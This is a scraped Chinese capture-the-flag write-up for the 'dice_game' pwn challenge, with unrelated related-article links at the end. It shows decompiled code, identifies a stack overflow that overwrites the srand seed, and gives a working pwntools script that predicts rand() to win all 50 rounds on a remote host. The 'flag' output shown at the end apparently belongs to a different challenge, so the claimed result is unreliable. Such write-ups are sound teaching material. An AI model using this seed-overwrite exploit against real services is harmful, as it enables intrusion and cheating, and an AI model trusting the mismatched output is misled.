当前位置: 首页 > news >正文

攻防世界 dice_game

dice_game

​​​​​​dice_game

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=game
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		3		game

(2)

用ida打开,无法反汇编,看main函数的汇编码

__int64 __fastcall main(int a1, char **a2, char **a3)
{char buf[55]; // [rsp+0h] [rbp-50h] BYREFchar v5; // [rsp+37h] [rbp-19h]ssize_t n49; // [rsp+38h] [rbp-18h]unsigned int seed[3]; // [rsp+40h] [rbp-10h]int n50; // [rsp+4Ch] [rbp-4h]memset(buf, 0, 0x30uLL);*(_QWORD *)seed = time(0LL);printf("Welcome, let me know your name: ");fflush(stdout);n49 = read(0, buf, 0x50uLL);if ( n49 <= 49 )buf[n49 - 1] = 0;printf("Hi, %s. Let's play a game.\n", buf);fflush(stdout);srand(seed[0]);n50 = 1;v5 = 0;while ( 1 ){printf("Game %d/50\n", n50);v5 = sub_A20();fflush(stdout);if ( v5 != 1 )break;if ( v5 ){if ( n50 == 50 ){sub_B28(buf);break;}++n50;}}puts("Bye bye!");return 0LL;
}

看到这里开始有一个read函数,向buf读入最大80个字节,但buf大小为55,所以存在缓冲区溢出

在下面有用srand函数设置伪随机数生成器的种子,参数是seed

然后进入循环,有一个sub_A20函数给v5参数

__int64 sub_A20()
{__int16 n6; // [rsp+Ch] [rbp-4h] BYREF__int16 n6_1; // [rsp+Eh] [rbp-2h]printf("Give me the point(1~6): ");fflush(stdout);_isoc99_scanf("%hd", &n6);if ( n6 > 0 && n6 <= 6 ){n6_1 = rand() % 6 + 1;if ( n6 <= 0 || n6 > 6 || n6_1 <= 0 || n6_1 > 6 )_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");if ( n6 == n6_1 ){puts("You win.");return 1LL;}else{puts("You lost.");return 0LL;}}else{puts("Invalid value!");return 0LL;}
}

这个函数主要是看我们输入的值n6和随机生成的值n6_1是否相同,相同就会返回1值给v5

当v5等于1时,就进入if判断中,当我们50次都成功时,有一个sub_B28函数,会输出flag

int __fastcall sub_B28(const char *a1)
{char s[104]; // [rsp+10h] [rbp-70h] BYREFFILE *stream; // [rsp+78h] [rbp-8h]printf("Congrats %s\n", a1);stream = fopen("flag", "r");fgets(s, 100, stream);puts(s);return fflush(stdout);
}

(3)

总的这个程序是一个小游戏,当我们输入的值与程序随机生成的值相同时,算赢得游戏,赢了50次后,就会给flag

思路:

1.在程序开头有一个输入点并存在栈溢出,我们可以利用这个点来改变随机数生成器的种子,使其相同

原因:

rand函数生成的随机数并不是真正意义上的随机,而是伪随机,当设定的种子相同时,使用相同算法生成的随机数序列就是固定的

当种子相同后,本地和服务端的伪随机数生成器就会从相同的起始状态开始工作,进而生成相同的随机数序列

看堆栈情况,可以看到输入点buf离seed距离是0x40,所以通过覆盖0x40来改变seed值

-0000000000000050 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000050 // Frame size: 50; Saved regs: 8; Purge: 0
-0000000000000050
-0000000000000050     char buf[55];
-0000000000000019     _BYTE var_19;
-0000000000000018     _QWORD var_18;
-0000000000000010     unsigned int seed[3];
-0000000000000004     _DWORD var_4;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

2.然后我们要导入ctypes库,来使得在python中实现对C语言函数的引用

完成随机数的生成

(4)

编写

from pwn import *
from ctypes import *io = remote('223.112.5.141' ,52524)
libc = cdll.LoadLibrary("libc.so.6")payload = b"a" * 0x40 + p64(0)
io.sendlineafter("name: ", payload)
list = []
for i in range(50):list.append(libc.rand()%6+1)
print(list)
for point in list:io.sendlineafter("point(1~6): ", str(point))
io.interactive()

(5)

连接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:b'Please enter your string: '
Please enter your string: [DEBUG] Received 0x6c bytes:b'\n'b'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb\n'b'flag{5bde2e60-3032-4e77-b8ad-371a2483f030}\n'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
flag{5bde2e60-3032-4e77-b8ad-371a2483f030}
[DEBUG] Received 0x2b bytes:b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
http://www.xdnf.cn/news/247969.html

相关文章:

  • 多智能体空域协同中的伦理博弈与系统调停
  • LegalOne:本土与国际视野融合的法律评级,大湾区律师及律师事务所榜单申报启动
  • 【统计方法】方差分析(ANOVA):判断数据差异的统计方法
  • 【Linux】环境基础开发工具使用
  • 26.电流信号的强抗干扰能力运用
  • 深圳第三方软件测试机构如何填补企业空缺并助力市场发展?
  • LintCode第652题-递归版
  • Linux基础指令【下】
  • Leetcode刷题报告2——双指针法
  • 基于DrissionPage的高效爬虫开发:以小说网站数据抓取为例
  • vue自定义表头内容excel表格导出
  • LangChain4j +DeepSeek大模型应用开发——7 项目实战 创建硅谷小鹿
  • SpringAI使用OpenAI API格式调用DeepSeek服务
  • 《AIStarter安装部署全攻略:AI绘画/数字人项目快速上手指南(含Windows环境配置要点)》
  • *(解引用运算符)与 ++(自增运算符)的优先级
  • 开始一个vue项目
  • 《排序算法总结》
  • 60常用控件_QSpinBox的使用
  • [FPGA Video IP] Frame Buffer Read and Write
  • 一文读懂EMC VNX存储的Fast Cache(第二部分:对比)
  • 【RocketMQ】- 源码系列目录
  • 实习入职的总结
  • 前端八股 CSS 1
  • Chromium 134 编译指南 - Android 篇:从Linux版切换到Android版(六)
  • 2025智能体的发展趋势
  • 深⼊理解指针(8)
  • 简单的Qwen3的本地部署、分析与常见报错
  • Cribl 数据脱敏 更多方法 MASK (三)
  • 第十六届 -- 蓝桥杯Web开发大学组省赛个人复盘
  • ESP-ADF esp_dispatcher组件之audio_service子模块资源管理函数详解